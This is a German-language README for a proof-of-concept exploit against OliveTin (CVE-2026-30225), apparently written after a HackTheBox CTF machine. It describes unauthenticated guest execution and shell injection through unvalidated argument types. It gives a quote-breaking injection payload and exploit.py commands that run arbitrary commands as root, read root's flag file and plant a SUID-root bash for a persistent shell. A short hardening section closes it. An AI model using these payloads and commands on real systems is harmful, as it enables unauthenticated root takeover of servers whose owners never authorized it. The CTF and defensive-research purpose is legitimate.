
Proof-of-Concept-Exploit für OliveTin-Unauthenticated-RCE (CVE-2026-30225) über unsichere Gast-Standardwerte und unvalidierte Argumenttypen, die eine Root-Shell auf verwundbaren Instanzen ermöglichen.
PoC für Privilege Escalation / Remote Code Execution gegen OliveTin-Instanzen, die mit den mitgelieferten Gast-Standardeinstellungen laufen. Verifiziert gegen OliveTin 3000.10.0, ausgeführt als root (HTB: Enigma), wo es eine nicht authentifizierte Root-Shell liefert.
⚠️ Nur für autorisierte Tests. Veröffentlicht für Bildungszwecke, CTF-Spiel und defensive Forschung. Die Verwendung gegen Systeme, die du nicht besitzt oder für die du keine ausdrückliche schriftliche Genehmigung zum Testen hast, ist illegal. Keine Garantie. Siehe LICENSE.
Die Beispiel-/Standardkonfiguration von OliveTin enthält:
authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }
Damit kann ein nicht authentifizierter Aufrufer (WhoAmI → "guest") StartActionAndWait aufrufen und jede Aktion ausführen. Aktionen werden als OliveTin-Prozessbenutzer ausgeführt — häufig root.
internal/executor/arguments.go → TypeSafetyCheck():
case "password": return nil
case "raw_string_multiline": return nil
case "checkbox": return nil
Diese Typen werden überhaupt nicht validiert. Jede Aktion, deren shell:-Vorlage ein solches Argument interpoliert, ist eine Shell-Injection-Senke. Auf Enigma enthält die aktive /etc/OliveTin/config.yaml:
- id: backup_database
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- { name: db_user, type: ascii_identifier }
- { name: db_pass, type: password } # <-- unvalidiert, sitzt innerhalb von -p'...'
- { name: db_name, type: ascii_identifier }
db_pass = x'; <cmd>; echo __OT_DONE__ # schließt das -p'…'-Anführungszeichen, verkettet <cmd>, und # kommentiert das nachfolgende ' <db_name> > /opt/backups/backup.sql aus.
A + B gegen ein Root-OliveTin = nicht authentifizierte RCE als root.
RestartActionRestartAction baut die interne Anfrage neu auf, ohne die Auth-Header/Cookies des Aufrufers zu übernehmen, sodass eine erneute Ausführung immer zum Gast-Benutzer aufgelöst wird (ACL-Bypass, wenn der Gast mehr Rechte hat als der Aufrufer). Behoben in 3000.11.1.
Bei Builds ≤ 3000.10.x ist der Handler zusätzlich nur halb implementiert (// FIXME) und leitet eine leere BindingId weiter, sodass er nur action with ID "" not found zurückgibt und nichts erneut ausführen kann. test-restart berichtet, was das Ziel tatsächlich tut. Auf Enigma ist dieser Pfad ein No-op — die Probleme A + B sind es, die Code-Ausführung ermöglichen.
requests — pip install -r requirements.txt127.0.0.1:1337; Tunnel/Pivot nach
Bedarf — auf Enigma kann nur uid 1000 den Port erreichen)../exploit.py -u http://127.0.0.1:1337 <modus>
modi:
check Identität, Aktionsliste, injizierbare Argumente, CVE-2026-30225-Status
test-restart nur das RestartAction-Verhalten testen
exploit --action <id> [--set NAME=VALUE ...] [--inject NAME --quote {single,double,none} --cmd '<cmd>']
global:
--cookie 'olivetin-sid-local=...' als authentifizierter lokaler Benutzer agieren (optional)
# Recon
./exploit.py -u http://127.0.0.1:1337 check
# HTB Enigma: einen Befehl als root ausführen
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'id; hostname; cat /root/root.txt'
# eine SUID-root-bash für eine persistente Shell ablegen
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb'
# dann: /tmp/rb -p
StartActionAndWait gibt die Standardausgabe des Befehls in logEntry.output zurück, sodass die Ausgabe (Flag, uid=0(root), …) direkt in der Antwort zurückkommt.
check listet jede sichtbare Aktion auf und markiert diejenigen, deren Argumente einen Typ ohne Validierung verwenden. Wähle eine aus, finde heraus, wie das Argument in seiner shell:-Zeichenkette in Anführungszeichen gesetzt ist (--quote single|double|none), und führe dann exploit --inject <arg> --cmd '<payload>' aus. Aktionen, die auf keinem Dashboard angezeigt werden, können trotzdem per ID ausgeführt werden (--action <id>).
authRequireGuestsToLogin: true setzen und exec aus den Gast-/Standardberechtigungen entfernen; jeder ACL das Minimum geben, das sie benötigt.user: wo unterstützt).type; vermeide die Interpolation von Argumenten in shell:-Zeichenketten — bevorzuge die exec:-argv-Form und setze Anführungszeichen/Validierung rigoros ein.RestartAction führt Aktionen als Gast ausinternal/executor/arguments.go (TypeSafetyCheck), internal/api/api.go (RestartAction, StartAction)Forschung & PoC beim Rooten von HTB: Enigma (www-data → haris → OliveTin → root).